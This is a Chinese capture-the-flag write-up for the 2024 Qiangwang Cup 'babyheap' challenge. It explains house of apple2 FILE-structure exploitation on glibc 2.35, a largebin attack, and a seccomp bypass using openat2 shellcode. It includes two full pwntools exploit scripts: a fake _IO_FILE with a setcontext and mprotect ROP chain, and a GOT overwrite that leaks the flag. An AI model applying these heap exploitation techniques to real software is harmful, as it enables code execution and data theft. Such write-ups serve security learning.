2024强网杯--babyheap house of apple2解法

house of apple2

这次比赛看到这道题想到了用house of apple2,但是卡在了它把_IO_wfile_jumps给清零了,然后根据house of apple的调用链,我就以为做不了,其实是我对这个地方的理解不深刻。

利用_IO_wfile_overflow函数控制程序执行流

fp的设置如下:

  • _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
  • vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

总结一下就是

wide_data_addr = *(fake_IO_FILE_plus_addr + 0x100 )

//注意,fake_IO_FILE_plus_addr指的是可控地址的起始地址。并非_IO_FILE_plus的flag位置,这里应该是_IO_read_end

wide_data_vtable_addr = *(wide_data_addr + 0xe0)

最终调用的是 *(wide_data_vtable_addr+0x68)

从上面的流程来看,我们之所以想要设置vtable的值为_IO_wfile_jumps,有关的值,是想要调用

_IO_wfile_overflow。但是_IO_wfile_jumps被清空有影响吗?

答案是没有影响。

我们这里是把vtable设置成_IO_wfile_jump-0x40。但是这是为啥??????

堆风水构造

只能show一次,edit一次。想要完成泄露和largebin attack,需要一点堆风水。

show一次泄露堆地址和libc,只需要chunk进入到largbin即可。

而edit一次的话,为了能largbin attack,我们肯定是edit第一个进入largbin 的chunk。

我们如果能让_IO_list_all指向我们edit的那个chunk 的话就好办很多。但是一般用largbin attack的时候,我们一般都是让_IO_list_all指向我们构造的第二个进入largbin的chunk。

其实,我们只需要申请一个和chunk2等大的chunk,使得chunk2脱离双向链表,就可以让_IO_list_all指向我们能控制的chunk1了。

这种方法是看其他wp学到的。我还能想到两种方法。

1.因为free后没有置零,可以先通过申请堆块造成指针残留,然后伪造chunk,再次free。这样我们就能控制伪造chunk的内容了。

2.申请一个很大的chunk,然后free掉。然后申请三个chunk。chunk1,chunk2,chunk3。最终目的就是控制chunk1>chunk3,但是仍在同一个largbin里。chunk2随意,主要是用来隔开chunk1和3,防止合并用的。然后free掉chunk1,送入largebin。然后edit一开始free掉的大chunk,这样我们就能控制chunk3的内容了。

沙箱绕过

禁用了open和openat。刚好之前看过并且积累了openat2的汇编代码。控制程序执行流之后打一个vmprotect然后执行这段代码就可以了。

其他注意点

这个题目libc是2.35版本,在 *(wide_data_vtable_addr+0x68) 最后这一步调用的时候rdx指向的是wide_data_addr。所以用setcontext就比较好用了。

largebin中只有一个chunk的时候,fd_nextsize和bk_nextsize指向的都是自己。

exp

from pwn import*
context(arch='amd64', os='linux',log_level="debug")

#libc = ELF("../libc/")
libc = ELF("./libc-2.35.so")

def debug():
    gdb.attach(p)
    pause()

"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""

def get_p(name):
    global p,elf 
    p = process(name, env={"LD_PRELOAD":"./libc-2.35.so"})
    # p = remote("47.93.55.85",33046)
    elf = ELF(name)


def add(size):
    p.sendlineafter("Enter your choice: ",'1')
    p.sendlineafter("Enter your commodity size",str(size))

def dele(idx):
    p.sendlineafter("Enter your choice: ",'2')
    p.sendlineafter("Enter which to delete:",str(idx))

def edit(idx,content):
    p.sendlineafter("Enter your choice: ",'3')
    p.sendlineafter("Enter which ",str(idx))
    p.sendafter("Input the content",content)

def show(idx):
    p.sendlineafter("Enter your choice: ",'4')
    p.sendlineafter("Enter which ",str(idx))

def set_gev(chose):
    p.sendlineafter("Enter your choice: ",'5')
    p.sendlineafter("Maybe you will be sad !",str(chose))

get_p("./pwn")
add(0x520)
add(0x500)
add(0x510)
dele(1)
add(0x540)
show(1)


libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(0x8,b"\x00")) - 0x21b110
print(hex(libc.address))
p.recv(2+8)
heap = u64(p.recv(8))
print(hex(heap))
debug()
dele(3)

payload = p64(libc.address+0x21b110)*2 + p64(heap) + p64(libc.sym['_IO_list_all']-0x20)



FP = heap 
A = FP + 0x100 #wide_data
B = A + 0xe0 - 0x60 #wide_data_vtable

_IO_wfile_jumps = libc.address + 0x216f58 - 0x18
ROP_addr = heap+0x300
pop_rdi = 0x000000000002a3e5 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rdx = 0x000000000011f2e7 + libc.address
pop_rax = 0x0000000000045eb0 + libc.address
ret = pop_rdi + 1
syscall = 0x0000000000091316 + libc.address
setcontext = libc.sym['setcontext']
payload = (payload).ljust((0xa0-0x10),b"\x00") + p64(A) # 
payload = payload.ljust(0xb0,b"\x00") + p64(1)
payload = payload.ljust(0xc8,b"\x00") + p64(_IO_wfile_jumps-0x40)     
payload = payload.ljust(0x190,b"\x00") + p64(ROP_addr) + p64(ret)
payload = payload.ljust(0xf0+0xe0,b"\x00") + p64(B) + p64(setcontext + 61)


code = asm('''
    mov rax, 0x67616c662f2e
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    push 0
    push 0
    push 0
    mov rdx, rsp
    mov r10, 0x18
    push SYS_openat2
    pop rax
    syscall
           
    mov rax,0
    mov rdi,3
    mov rsi,rsp
    mov rdx,0x50
    syscall
    
    mov rax,1
    mov rdi,1
    syscall    ''')

payload = payload.ljust(0x2f0,b"\x00") + p64(pop_rdi) + p64(heap&0xfffffffff000) + p64(pop_rsi) + p64(0x3000) + p64(pop_rdx) + p64(7)*2 + p64(libc.sym['mprotect']) + p64(heap+0x400)


payload = payload.ljust(0x3f0,b"\x00") + code

libc_base = libc.address
flag_addr = heap
heap_addr = heap
fake_IO_FILE = flat({
                0x0: libc.address+0x21b110,                          # _IO_read_end      这几个不能用于赋值
                0x8: libc.address+0x21b110,                          # _IO_read_base     这几个不能用于赋值
                0x10:heap,#heap_base + (0x556eeb998380 - 0x556eeb996000),                         # _IO_write_base   这几个不能用于赋值
                0x18:libc.sym['_IO_list_all']-0x20,#heap_base + (0x556eeb998380 - 0x556eeb996000),                         # _IO_write_ptr    这几个不能用于赋值
                0x20: 0,         # _IO_write_end    <<<----fake_IO_wide_data的起始  0x0_IO_read_ptr
                0x28: 0,                 # _IO_buf_base                                    0x8:_IO_read_end
                0x30: 0,         # _IO_buf_end                                     0x10:_IO_read_base
                0x38: 0,                         # _IO_save_base                                   0x18:_IO_write_base    <<-- 0
                0x40: 0,        # _IO_backup_base                                 0x20:_IO_write_ptr
                0x48: 0,                         # _IO_save_end                                    0x28:_IO_write_end
                0x50: 0,                         # _markers                                        0x30:_IO_buf_base      <<-- 0
                0x58: 0,                         # _chain                                          0x38:_IO_buf_end
                0x60: 0,         # _fileno                                         0x40:_IO_save_base
                0x68: 0,                         # _old_offset                                     0x48:_IO_backup_base
                0x70: 0,        # _cur_column                                     0x50:_IO_save_end
                0x78: 0,         # _lock                                           0x58:_IO_state
                0x80: 0,                         # _offset                                         0x60:
                0x88: 0,         # _codecvt                                        0x68
                0x90: p64(A), ####### _wide_data                                                         #           0x70:
                0x98: libc_base+0x11f2e7,        # _freeres_list                                   0x78
                0xa0: 0x100,                     # _freeres_buf                                    0x80
                0xa8: 0,                         # __pad5                                          0x88
                0xb0: 1,                         # _mode                                           0x90
                0xb8: libc_base+0x11f2e7,        #                                                 0x98
                0xc0: 0x100,                     #                                                 0xa0
                0xc8:_IO_wfile_jumps-0x40 ,      # vtable                                          0xa8
                0xd0:libc_base+0x2a3e5,          #                                                 0xb0
                0xd8:1,                          #                                                 0xb8
                0xe0:libc_base+0x114870,         #                                                 0xc0
                0xe8:0,                          #                                                 0xc8
                0xf0:0,                          #    wide_data                                    0xd0
                0xf8:0,          #                                                 0xd8
                0x100:0,            #                                                 0xe0:_wide_vtable
                0x108:0,
                0x110:0,
                0x190: ROP_addr,
                0x198: ret,
                0x1d0: p64(B),
                0x1d8: p64(setcontext + 61),   ### rdx指向的是 wide_data的地址 也就是*(0x90)的位置 
                
                0x2f0: p64(pop_rdi) , 
                0x2f8: p64(heap&0xfffffffff000),
                0x300: p64(pop_rsi),
                0x308: p64(0x3000) ,
                0x310: p64(pop_rdx), # pop_rdx_pop_r12
                0x318: p64(7),
                0x320: p64(7),
                0x328: p64(libc.sym['mprotect']) + p64(heap+0x400),
                0x3f0: code
            },
            filler = b'\x00')



edit(1,fake_IO_FILE)

add(0x5f0)



### 取出largebin  中的第二个,使得_IO_list_all指向第一个chunk       
add(0x510)

# gdb.attach(p,"b *&_IO_wfile_overflow")

# chunk overflow 触发exit
add(0x600)
p.interactive()

最后给出N0wayback联合战队的一种解法,妙是妙,但是不容易想到

法二:利用putenv函数的机制

看 libc 里对 getenv 的实现会用到 strncmp(爆破逐一修改 got 时发现),将 libc 里的 strncmp_got 改成 printf 后再对 Secret Env 2 进行调用即可输出环境变量,可以带出 flag

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['47.93.15.136', 36880]
pwnfile = './pwn'

elf = ELF(pwnfile)
libc = elf.libc

def loginfo(a, b=None):
    if b is None:
        log.info(a)
    else:
        log.info(a + hex(b))

if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])
else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)

def recv64_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def menu(index):
    p.sendlineafter('choice: \n', str(index))

def add(size):
    menu(1)
    p.sendlineafter('size \n', str(size))

def delete(index):
    menu(2)
    p.sendlineafter('delete: \n', str(index))

def edit(index, content='a'):
    menu(3)
    p.sendlineafter('edit: \n', str(index))
    p.sendafter('content \n', content)

def show(index):
    menu(4)
    p.sendlineafter('show: \n', str(index))

def exp():
    add(0x500)
    add(0x500)
    delete(1)
    show(1)
    libc_base = recv64_addr() - 0x21ace0
    strncmp_got = libc_base + 0x21A018 + (0x8*32)
    #+ 0x21A118
    menu(11)
    p.send(p64(strncmp_got))
    p.send(p64(libc_base + libc.symbols['printf']))
    menu(5)
    # debug('b *$rebase(0x1E5F)')
    p.sendlineafter('sad !\n', '2')

exp()
p.interactive()
相关推荐
Swift社区5 分钟前
在 Swift 中实现字符串分割问题:以字典中的单词构造句子
开发语言·ios·swift
没头脑的ht7 分钟前
Swift内存访问冲突
开发语言·ios·swift
没头脑的ht10 分钟前
Swift闭包的本质
开发语言·ios·swift
JunLan~12 分钟前
Rocky Linux 系统安装/部署 Docker
linux·docker·容器
wjs202412 分钟前
Swift 数组
开发语言
方竞1 小时前
Linux空口抓包方法
linux·空口抓包
stm 学习ing1 小时前
FPGA 第十讲 避免latch的产生
c语言·开发语言·单片机·嵌入式硬件·fpga开发·fpga
湫ccc2 小时前
《Python基础》之字符串格式化输出
开发语言·python
海岛日记2 小时前
centos一键卸载docker脚本
linux·docker·centos